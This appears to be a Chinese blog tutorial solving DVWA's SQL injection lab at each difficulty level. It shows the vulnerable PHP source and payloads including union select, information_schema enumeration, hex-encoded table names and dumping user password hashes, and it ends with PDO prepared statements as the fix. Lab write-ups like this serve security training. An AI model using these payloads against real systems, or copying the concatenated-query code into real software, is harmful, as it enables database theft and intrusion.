DVWA(六) -SQL注入

SQL Injection(SQL注入)

原理: 将恶意的sql语句拼接到合法的sql语句中。

类型: 字符型,数字型,搜索型。

注入流程:

  1. 判断是否存在注入,注入是字符型还是数字型。
  2. 猜解sql查询语句中的字段数
  3. 确定显示位置
  4. 获取当前的数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

实验前须知:

  • sql5.0以上版本与5.0以下的版本有个最根本的区别,多了一个information_schema库,其中的tables表中存放数据库中所有的库名和表名。
  • 数据库默认可以识别十六进制,可以以此来绕过.

环境: dvwa搭建在win7 x64系统,IP为:192.168.157.137.

界面:
在这里插入图片描述
通过键入的id值,来确定身份,并回显。且级别不同,提交方式不同。
在这里插入图片描述

Low

Low级别源码

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results 
    while( $row = mysqli_fetch_assoc( $result ) ) { 
        // Get values 
        $first = $row["first_name"]; 
        $last  = $row["last_name"]; 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
    } 

    mysqli_close($GLOBALS["___mysqli_ston"]); 
} 

?> 

分析:
键入id值,点击提交之后,不进行过滤,直接插入到数据库查询语句中。

解决思路:
走一遍sql注入的流程。

进行攻击

  1. 输入 1' 并提交

报错:
在这里插入图片描述
确定此处为注入点

  1. 输入 1' and '1' = '1,正常返回,1' and '1' ='2,无返回结果
    在这里插入图片描述
    在这里插入图片描述
    再次确定了此处为注入点,且注入类型为 字符型

  2. 使用 order by 语句确定字段数,#为sql语法中的注释
    在这里插入图片描述
    在这里插入图片描述

    1' order by 3# 语句报错。
    在这里插入图片描述
    得到字段值为2

  3. 确定显示的位置
    1' union select 1,2#
    在这里插入图片描述
    1位置出现在firstname那一行,2位置出现在Surname那一行

  4. 得到数据库的版本以及使用的库名称。
    1' union select version(),database()#

在这里插入图片描述
若只想看到需要的结果,可以把1改为-1
-1' union select version(),database()#
在这里插入图片描述
得到数据库版本为5.5.53,且库名为dvwa。

  1. 由版本号可以知道,数据库存在information_schema库,可以通过其中的tables表查看当前库下的所有表名。
    -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
    在这里插入图片描述
    得到dvwa库下存在guestbook、users两张表,选择看起来比较敏感的users表来获取数据。
  2. 获取目标表中的字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
在这里插入图片描述
得到users表中的字段名,并且存在user和password这样的敏感信息,获得其中的数据。

  1. 得到其中的数据。
    -1' union select user,password from users#
    在这里插入图片描述
    取得其中md5加密后的密码,查字典得到明文密码。
    在这里插入图片描述

Medium

在这里插入图片描述
界面改为这种下拉菜单式,不允许用户自行输入

Medium级别源码

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . mysqli_connect_error() . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

分析:
在这里插入图片描述

  • 界面改为这种下拉菜单式,不允许用户自行输入
    在这里插入图片描述
  • 使用mysqli_real_escape_string 函数对单双引号等特殊符号进行过滤.
    在这里插入图片描述
  • 由字符型变为数字型

解决思路:

  • 虽然只能在网页中的下拉菜单中选择,但是我们可以在burp中拦截包,修改上传的参数,实际效果与手动输入没有区别。
  • 虽说过滤掉单双引号等特殊字符,但注入类型现在为数字型,不需要单引号来闭合,字符串可以编译为十六进制编码,数据库默认可以识别。

进行攻击

  1. burp拦截包,并将其发送至Repeater模块
    在这里插入图片描述
    在这里插入图片描述

  2. 修改参数为1 and 1=1 1 and 1=2
    在这里插入图片描述
    在这里插入图片描述
    确定了此处为注入点,并且类型为数字型。

  3. 使用 order by 语句确定字段数
    在这里插入图片描述
    在这里插入图片描述

    1 order by 3 语句报错。
    在这里插入图片描述
    得到字段值为2

  4. 确定显示的位置
    -1 union select 1,2
    在这里插入图片描述

  5. 得到数据库的版本以及使用的库名称。
    -1 union select version(),database()#
    在这里插入图片描述
    得到数据库版本为5.5.53,且库名为dvwa。

  6. 由版本号可以知道,数据库存在information_schema库,可以通过其中的tables表查看当前库下的所有表名。
    这里需要注意,因为过滤了表示字符串的单双引号,所以类似LOW级别的’dvwa’,无法通过
    在这里插入图片描述
    所以我们将其编译为16进制,或者是使用database()来代替这里的’dvwa’
    16进制:
    在这里插入图片描述
    在这里插入图片描述
    database():
    在这里插入图片描述

  7. 获取目标表中的字段名
    与dvwa相仿,将users转换为十六进制

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
在这里插入图片描述
得到users表中的字段名。

  1. 得到其中的数据。
    -1 union select user,password from users
    在这里插入图片描述

High

High级别源码

    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    }
    
    ?> 

分析:
看起来简单了很多,甚至没有特殊字符过滤,添加了对输入个数的限制,只允许输入一个,又回到了字符型注入。界面变成了这样:
在这里插入图片描述
解决思路:
这样子点击打开新的界面来输入ID,是为了防止工具的自动化注入(sqlmap等),但是对手动注入影响不大。LIMIT 1,一个小小的#不就可以干掉?。

攻击结果

在这里插入图片描述

切记切记: 在High等级下,若出现错误显示,一定不能关那个小窗口,否则之后都会是这个界面,只能重装DVWA。
在这里插入图片描述

Impossible

Impossible级别源码

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 

分析:
加了PDO的代码往往就是这么的朴实无华且枯燥无味。
解决思路:
如果有人解决了PDO,请告诉我一声,我愿称其为王!

PDO预处理

普通的sql查询就是一条查询语句,将用户输入的与正常的参数拼接在一起,交给数据库进行查询,就像这篇博客低中高等级dvwa服务器的做法。

但是PDO是将用户输入的与sql语句相分离,语法为:
$pdo->prepare('select * from users where id=:id');

$pdo->execute([':id'=>4]);

服务器会先给数据库发送第一条语句,让数据库进行解析,在将用户输入的当做纯参数传给数据库,就算是恶意的,也不会运行。

我的一些理解:
没有PDO:
我在一栋大楼的一个房子里面,房东告诉我只能呆在这个房子里面,但是在他不注意的时候,我就悄悄溜出去,随意去别的房间转。
有PDO:
我在一个房子里,且这个房子独立于世界。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值